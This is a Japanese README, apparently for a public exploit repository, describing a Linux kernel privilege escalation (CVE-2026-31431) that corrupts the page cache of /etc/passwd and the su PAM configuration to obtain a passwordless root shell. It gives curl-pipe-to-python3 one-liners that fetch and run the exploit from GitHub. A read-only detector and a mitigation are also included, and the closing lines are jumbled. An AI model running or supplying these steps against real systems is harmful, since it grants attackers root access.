
CVE-2026-31431(Linuxカーネルのalgif_aead)向けのローカル権限昇格エクスプロイト。spliceを使用してページキャッシュを上書きし、root権限を取得します。読み取り専用の検出器を含みます。
CVE-2026-31431 は、Linux カーネルの algif_aead サブシステムにおけるローカル権限昇格の脆弱性です。authencesn AEAD 実装は splice(2) を介してインプレース復号を実行し、ページキャッシュページを宛先 scatterlist に配置します。AAD からの 4 バイト値(seqno_lo)は、認証タグが検証される前にそのページキャッシュページに書き戻されます。これにより、権限のないユーザーが、任意のワールドリーダブルファイルのカーネルページキャッシュ内の任意のバイトを上書きできるようになります。
影響を受けるバージョン: カーネル 4.14(2017年8月)— authencesn が algif_aead に導入された時点
修正がリリースされたバージョン: 6.12、6.17、6.18 の安定版のみ
恒久的に未修正: カーネル 4.14–6.11(EOL; バックポートは提供されません)
必要なプリミティブ: AF_ALG ソケット、authencesn(hmac(sha256),cbc(aes)) 暗号、AF_ALG ソケット fd への splice(2)
影響: root へのローカル権限昇格 — 完全自動化、パスワード不要
このエクスプロイトは、2 つのページキャッシュパッチを順番に適用し、その後 su を自動的に実行します:
/etc/passwd パッチ — ファイルを開き(ワールドリーダブル)、ページキャッシュを投入し、authencesn splice プリミティブを使用して実行中ユーザーの 4 桁の UID フィールドを 0000 に反転させます。パッチ適用後、getpwnam() はユーザーを UID 0 として報告します。
/etc/pam.d/su パッチ — pam_rootok.so と pam_permit.so はどちらも正確に 13 文字です。2 回の 4 バイト書き込みにより、PAM 設定のページキャッシュ内の pam_rootok.so が pam_permit.so に置き換えられます。pam_permit は常に PAM_SUCCESS を返すため、既存の auth sufficient 行が即座に発動します — パスワードプロンプトは表示されません。
自動シェル — スクリプトは su <user> を実行します。PAM はパスワードなしで認証し(ステップ 2)、 が UID 0 を報告するため が成功します(ステップ 1)。ユーザーの操作なしで root シェルが返されます。
どの時点でもディスクへの書き込みは発生しません。ページキャッシュの破棄(echo 3 > /proc/sys/vm/drop_caches)または再起動により、両方のパッチは完全に元に戻ります。
認可されたテスト専用です。所有しているホスト、または明示的に評価を依頼されたホストでのみ実行してください。
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3
root シェルが自動的に返されます — パスワードは不要です。
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py
echo 3 | tee /proc/sys/vm/drop_caches
AF_ALG ソケットサポートが有効(ほとんどのディストリビューションで標準)authencesn(hmac(sha256),cbc(aes)) がロード可能(ほとんどのディストリビューションで標準)test_cve_2026_31431.py は、このリポジトリに同梱されている安全な読み取り専用の検出器です。一時ディレクトリに作成する使い捨てのセンチネルファイルに対して algif_aead splice プリミティブを実行します — システムファイルには一切触れません。判定結果を出力し、明確に定義された終了コードで終了します:
| 終了コード | 意味 |
|---|---|
0 | 脆弱性なし — 前提条件が満たされていないか、ページキャッシュが変更されていない |
1 | テストエラー(例: AF_ALG が利用不可、splice が未サポート) |
実行方法:
# ワンライナー(インストール不要)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"
# またはローカルクローンから
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"
脆弱なカーネルでの出力例:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!] Surrounding bytes: 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.
修正済みカーネルでの出力例:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.
/etc/modprobe.d を介して algif_aead をブロックする: install algif_aead /bin/falseAF_ALG ソケットを制限する。net/tls + crypto/algif_aead — authencesn インプレース宛先 scatterlist の分離getpwnam()setuid(0)2 | 脆弱性あり — マーカーバイトが splice されたページキャッシュページに到達した |